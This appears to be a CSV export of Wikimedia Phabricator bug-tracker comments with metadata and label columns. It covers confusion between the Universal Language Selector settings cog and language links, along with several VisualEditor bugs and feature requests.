+-- It has the text ""Add links"" when the page is not linked to versions in other languages. Clicking it opens a dialog for adding the links without leaving the page.
+-- It has the text ""Edit links"" when the page is linked to versions in other languages. Clicking it goes to the item page in Wikidata.
+# The Compact Language Links ""''X'' more"" button:
+-- Appears only on pages with 9 links or more, and only if the Compact Language Links preference is enabled. (It was in beta for a long time, but now it is default in Wikipedia in all languages, and in most other Wikimedia projects.)
+-- Clicking it opens a ULS panel with all the languages in which the page is available.
+
+----
+
+This is not ideal.
+
+This is not ideal for a lot of reasons:
+# Generally, three elements near the language the list //feel// like a bit too much.
+# The cog is at the top, but the things that it includes are //probably// needed by fewer people. I'm saying ""probably"", because I don't have the numbers, but we can try to obtain them. Fonts and keyboards configuration is important in some languages, but completely unnecessary in a lot of others (at least in the current implementation; I have a lot of ideas for redoing webfonts support, but they are far from being implemented, and they are way beyond the scope of this task). One thing I'm sure of is the the other two elements are needed by users in wikis in all languages, and the cog—only in some.
+# The language selector in ""Display settings"" under the cog includes all the languages, but it only selects the UI language. Even though the panel explicitly says what does it do, I suspect that some people—possibly a lot—select the UI language instead of the article language. I've seen it happening to a lot of people in workshops for new editors.
+# As a follow up to the previous point: Changing the UI language is not currently available to logged-out users. The panel says so, and some people may even think that they can only read an article in another language if they log in. It may sound crazy, but it may be true.
+# The title is not always actually ""Languages"". It is ""Languages"" in some wikis, but in others it is ""In other languages"", ""This page in other languages"", or something else.
+# ""Add links"" and ""Edit links"" have the same location, but different text, and completely different behavior. I suspect that a lot of editors will appreciate //editing// wikidata sitelinks (i.e. languages) in a dialog similar to the one that is used for initial linking, thus making the functionalities similar. I've been hearing comments like this from a lot of users in a lot of languages for years.
+# This is more of a guess than the previous point, but I further suspect that a lot of editors will appreciate a link to the Wikidata item page in a convenient location, possibly near the language list. ""Edit links"" is such a link already, but that's not what its title says. There is also a ""Wikidata item"" link buried elsewhere in the sidebar, which does largely the same thing. As an editor, it's one of the very few sidebar links that I actually use, although I might be very different from a lot of other people. This requires proper research.
+# The ""''X'' more"" button appears in some cases, but not always.
+# The language selector (ULS) and the language editor (WikidataClient's dialog) are related in their functionality, but they have a completely different interface design. It would be nice to bring their appearance closer to each other.
+
+----
+
+That's a lot of different issues. There's material here for a lot of different tasks and subtasks. Fixing them is desirable. It won't happen overnight, and it will require //proper// design work, and not just editors' or developers' intuition.
+
+But yes, it's about time to start resolving it.
+
+To @Krinkle's question—no, there's no proper roadmap at the moment. This very long comment is, hopefully, the first attempt to think of such a roadmap.",,,1521567896,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,246,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+1033672,"ULS' ""Language Settings"" cog is confused with a way to edit language links",">>! In T54383#4015867, @Krinkle wrote:
+> The main thing I'm unsure about is why the cog is placed near the ""Languages"" sidebar section. Especially given we already have two other interfaces for editing the user language. Do I understand correctly that the intention is to (eventually) migrate all wikis away from the ""cog"" icon in favour of the ULS dialog trigger from the personal tools? The dialogs have different designs, but seem similar in purpose. And I can't actually find a wiki/page combination that shows both, which leads me to believe it is a configuration option, of which the personal-tools placement seems preferable as it avoids confusion with the purpose of the ""Language links"" sidebar section.
+> 
+> Can someone confirm this? And/or point to a roadmap of some sort related to this?
+
+The different ways in which language selection is provided are the result of trying to keep a single area related to language where the default selection is about content (plus backwards compatibility). I'll try to elaborate and add some context:
+
+**Our goal and what we learned about the user needs**
+
+We want to provide the ability to select both, the content language and the UI language. During our user research we identified that many users don't have a very clear distinction of both concepts (or don't make a careful evaluation on which part a language selector they find is going to change). The most common expectation was to change the content (or both, content + UI). That is, if a user finds a selector with a list of languages and selects Italian, the user expects the content of the page to become in Italian, and it would be unexpected to see that only a few menus (the UI) change to Italian instead.
+
+Based on the above, we tried to follow the guideline of presenting the option to change the UI language in a less prominent way than the content language selection. That is providing a default selector for changing the content language, and less prominent advanced options in case you wanted to specifically change the UI only.
+
+**Why there are two different solutions**
+
+We had two different kinds of wikis. Some wikis are multilingual, like Commons. Other wikis are a group of individual monolingual wikis linking to one another, like Wikipedia in each language. For multilingual wikis we presented a language selector on the personal toolbar on top. The selector let's you pick the content language and provides advanced options at the bottom to change other aspects such as the UI language. This was working well, and having the language selection on top was easy to discover.
+
+However, monolingual wikis had already an established way to change the content language (technically, to jump to the equivalent page in a wiki of a different language) using the interlanguage links. At that time, we decided to keep the interlanguage links to avoid pushing for too much change at once (although we may want to revisit that in the future). With the constraint of keeping the interlanguage links where they were, placing the UI selector on top was problematic because (a) it created two separate areas for language selection, and (b) the most prominent one (on top) was not about content but UI. So we decided to have a single area dedicated to languages, keeping interlanguage links where they were as the most prominent language selection, and provide advanced options in a less prominent way as advanced settings.
+",,,1521215850,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,245,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+1023552,"ULS' ""Language Settings"" cog is confused with a way to edit language links","I've updated the task description with some background information.
+
+The main thing I'm unsure about is why the cog is placed near the ""Languages"" sidebar section. Especially given we already have two other interfaces for editing the user language. Do I understand correctly that the intention is to (eventually) migrate all wikis away from the ""cog"" icon in favour of the ULS dialog trigger from the personal tools? The dialogs have different designs, but seem similar in purpose. And I can't actually find a wiki/page combination that shows both, which leads me to believe it is a configuration option, of which the personal-tools placement seems preferable as it avoids confusion with the purpose of the ""Language links"" sidebar section.
+
+Can someone confirm this? And/or point to a roadmap of some sort related to this?",,,1519942423,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,243,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+256105,"ULS' ""Language Settings"" cog is confused with a way to edit language links","This is generally a valid feature request, and this is something that ULS and VE developers should consider some time in the not-so-far future.",,,1395398464,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,37,,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+256101,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Sorry, I meant to move this to ULS (as it's mostly a ULS design question) when it was filed some weeks ago.",,,1377534431,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+256097,"ULS' ""Language Settings"" cog is confused with a way to edit language links","(In reply to comment #11)
+> my english is not good enough to understand the ""incidentally, ...""
+> paragraph. what does that mean in terms of coding?
+
+We may write more code to let you use bits of VisualEditor (like the dialogs) outside of the editor.",,,1375485860,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+256093,"ULS' ""Language Settings"" cog is confused with a way to edit language links","my english is not good enough to understand the ""incidentally, ..."" paragraph. what does that mean in terms of coding?",,,1375482575,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+256088,"ULS' ""Language Settings"" cog is confused with a way to edit language links","(In reply to comment #8)
+> oh, you are right, it is just code to parse and display it in page settings
+> *blush*, sorry for confusion. coming back to the original suggestion: why not
+> improve the hacky gadget in the frame of the VE project, instead of including
+> it in the VE?
+
+The hacky gadget, as I recall:
+
+* Doesn't let you set non-Wikidata language links (as needed on non-Wikipedia wikis)
+* Doesn't let you set local language links to over-ride the ones from Wikidata (as needed on Wikipedia sometimes e.g. for [[Maggie Simpson]])
+* Doesn't let you change/remove other languages' links without making you leave the site and going to Wikidata to use the tools there
+* Doesn't let you create new Wikidata entities for the page
+* Is based on local code that may differ between wikis (making VisualEditor work differently in different places)
+
+We agreed with the Wikidata team a few months ago that replacing this was a worthwhile thing to do.
+
+Incidentally, on the wider point, we're very keen to start moving away from editing being a monolithic block of actions that have to take place together, and instead letting users ""curate"" quickly - whether that's changing categories, language links, workflow action items (like ""needs wikifying"" or ""nominate for deletion"") or other tasks - without having to enter the editor.
+
+HOWEVER, that's not really the point of this bug, is it?",,,1375480011,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+256083,"ULS' ""Language Settings"" cog is confused with a way to edit language links","""about the cog not letting you change settings of other languages"" refers to the small wheel symbol in the side bar close to ""Languages"". 
+It is created by the MediaWiki extension ""UniversalLanguageSelector"" (ULS) so that would be the codebase to change for that aspect, not VE's code.",,,1375466130,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+256075,"ULS' ""Language Settings"" cog is confused with a way to edit language links","oh, you are right, it is just code to parse and display it in page settings *blush*, sorry for confusion. coming back to the original suggestion: why not improve the hacky gadget in the frame of the VE project, instead of including it in the VE?
+
+the ""about the cog not letting you change settings of other languages"" and ""ULS"" i did not understand. what would you mean by this?",,,1375446015,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+256065,"ULS' ""Language Settings"" cog is confused with a way to edit language links","(In reply to comment #6)
+> _remove_ the code to edit language links from the already complicated VE.
+
+There is no code to edit language links in VisualEditor. What are you talking about?",,,1375401899,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+256058,"ULS' ""Language Settings"" cog is confused with a way to edit language links","james, bug 52105 is the exact opposite of the suggestion here. the visual editor team should, imo, leave the hacky gadget, or improve the hacky gadget with something which is not called hacky any more.
+
+and, _remove_ the code to edit language links from the already complicated VE.",,,1375397942,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0
+256051,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Being able to edit language links is bug 52105 (specifically, for Wikidata ones). This would replace the current hacky gadget.
+
+The other part of this bug (about the cog not letting you change settings of other languages) would be an issue with ULS, not VisualEditor, I think?",,,1375384179,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+256045,"ULS' ""Language Settings"" cog is confused with a way to edit language links","> i see, you do not know this beast as well
+
+I admit I don't know every single option of software running on Wikimedia servers by heart, plus sometimes bug reporters paraphrase things. That's why I appreciate good steps to reproduce to understand the problems that you're facing.
+
+Now that I can reproduce I agree that it's slightly confusing. 
+However the bug summary does not describe the problem but one potential solution, hence changing the bug summary to: 
+""VE > Page Settings > Languages"" functionality expected where ULS' ""Language Settings"" cog is
+
+> and all people are happier.
+
+On a general note: If you have not run a survey in your neighborhood and beyond (as other neighborhoods might have different needs and expectations), generalizations feel like http://en.wikipedia.org/wiki/Wikipedia:WEASEL and might diminish the impact & interest in your suggestions how to improve Wikimedia, which would be a pity.",,,1375383652,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+256040,"ULS' ""Language Settings"" cog is confused with a way to edit language links","wikidata at the bottom
+
+attached page settings at the right, with languages. and wikidata at the bottom. and i see, you do not know this beast as well and do _not_ expect the language code there. just remove this language link code and all people are happier.
+
+**Attached**: {F11931}",,,1375364945,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+256033,"ULS' ""Language Settings"" cog is confused with a way to edit language links","page settings at the right
+
+**Attached**: {F11930}",,,1375364802,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+256029,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Why would you want to edit languages, in order to understand the problem that you report here? To add links to articles with the same topic in other languages? That is exactly what Wikidata is for.
+
+With regard to the wheel ""which opens something else"", this is part of your language and input text settings. 
+See http://www.mediawiki.org/wiki/File:ULS_Usability_testing_summary.pdf for the Usability tests that led to this design.
+
+> to really edit the languages one has to go to page settings!
+
+I cannot find anything called ""Page Settings"" on for example http://en.wikipedia.org/wiki/Berlin . Please provide exact steps to reproduce.",,,1375355187,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+54336,VisualEditor: pasting with middle-click in X-Windows doesn't work when automatic scrolling is enabled,"On Unix systems with an X-Windows desktop middle-clicking usually pastes text that was last selected with the mouse.
+
+It doesn't work in the VisualEditor in Firefox if automatic scrolling is enabled in the preferences.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1375295280,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-lusbxefwae6sj2xokbvm,task_description,open,True,c1,3,False,False,,4,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+253368,VisualEditor: pasting with middle-click in X-Windows doesn't work when automatic scrolling is enabled,How on Earth does Firefox's automatic scrolling feature interact with its pasting feature? Gah. :-),,,1375299597,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lusbxefwae6sj2xokbvm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+54332,VisualEditor: Selecting with Shift-arrow selects the heading after a list item,"Go to https://www.mediawiki.org/wiki/User:Amire80/be-bullet-heading?veaction=edit, which contains the wikitext:
+```
+* list item 1
+* list item 2
+* list item 3
+
+==Heading==
+paragraph text
+```
+Press Shift-↓ (down arrow) three times.
+
+The first time, the first list item is selected.
+The second time, the second list item is selected.
+The third time, the third list item AND the heading are selected.
+
+Selecting the heading should require a forth press of Shift-↓.",Low,25.0,1375294800,1701961099.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-tddypvggbabpq3kxu4cc,task_description,declined,True,c1,3,False,False,False,4,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+2243261,VisualEditor: Selecting with Shift-arrow selects the heading after a list item,"Pressing shift+down moves your cursor down visually in the browser. This is just how native selection works in the browser (for example, in read mode, select the first 'l' in 'list item 1', then press shift down, and the same thing happens).
+
+Without completing re-implenting our own version of cursor movement, we couldn't fix this even if we wanted to.",,,1701961099,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-tddypvggbabpq3kxu4cc,task_subcomment,,True,c1,3,True,,,544,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+496673,VisualEditor: Selecting with Shift-arrow selects the heading after a list item,Verified in Firefox 41.0a2 on OS X.,,,1437770551,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-tddypvggbabpq3kxu4cc,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54304,VisualEditor: Display of several float:left-ed tables side-by-side inserts slugs that break them up,"Screenshot of the bug as provided by user
+
+Depending on the display format, VE fails to get the display of several tables properly in line. See also attachment; test page here:
+
+http://de.wikipedia.org/wiki/Benutzer:Stefan_Knauf/Dateidurchsuchungsprogramm.cpp
+
+Report:
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121040382#VisualEditor_ist_nicht_WYSIWYG
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11761}",Low,25.0,1375227780,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-wgyduwg7w4wdsktqalds,task_description,open,True,c1,3,False,False,,4,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+251594,VisualEditor: Display of several float:left-ed tables side-by-side inserts slugs that break them up,"Ugh, this is because we put block slugs between these tables, and the tables are floated left.",,,1375228215,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-wgyduwg7w4wdsktqalds,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+54231,VisualEditor: Reject (or at least loudly warn about) edits that contain pawns or other obvious placeholders,"Rather than simply quietly inserting pawns and other placeholder characters into the page text, VisualEditor should do a sanity-check pre-save and either outright reject or loudly warn about edits that will insert such characters.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375118160,1508930263.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-sfwbwm73nkcseqpbk5if,task_description,declined,True,c1,3,False,False,False,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+953289,VisualEditor: Reject (or at least loudly warn about) edits that contain pawns or other obvious placeholders,"The problem of inserting pawns and such is ancient history now, so building a system to detect them is not a good use of time.",,,1508930263,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-sfwbwm73nkcseqpbk5if,task_subcomment,,True,c1,3,True,,,225,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+247246,VisualEditor: Reject (or at least loudly warn about) edits that contain pawns or other obvious placeholders,"I suggest piggybacking on the existing sanity check code: display the ""your edit may be corrupted"" warning in the save dialog and tag the edit with visualeditor-check.",,,1375118282,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sfwbwm73nkcseqpbk5if,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+54143,Allow users to customise keyboard shortcuts,"What it says on the in. Like in most desktop applications, it should be possible for users to customise the keyboard shortcuts to their liking. Including in VisualEditor and source editor.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Low,25.0,1374931980,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hsvzb36avth2iqas7oad,task_description,open,True,c1,3,False,False,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+241930,Allow users to customise keyboard shortcuts,Removed VE reference from the title because it's simply not part of MediaWiki core.,,,1374938852,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hsvzb36avth2iqas7oad,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+54133,VisualEditor: Edit summary box should be a text input box and not textarea,"**Author:** `KilliondudeWP`
+
+**Description:**
+The edit summary box currently uses a textarea input box. Current functionality has the return key starting a new line in the textarea, but upon save the edit summary is truncated into one line in the page history (line breaks are turned into spaces). Thus, the textarea box is misleading.
+
+A more sane option would be to use a single line text input box, where the enter key processes the edit rather than starts a new line.
+
+See T40042 and T42034, and specifically T42034#467450.
+",Low,25.0,1374899820,1437391823.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-y2wr4truqmwwemxh72yk,task_description,declined,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0
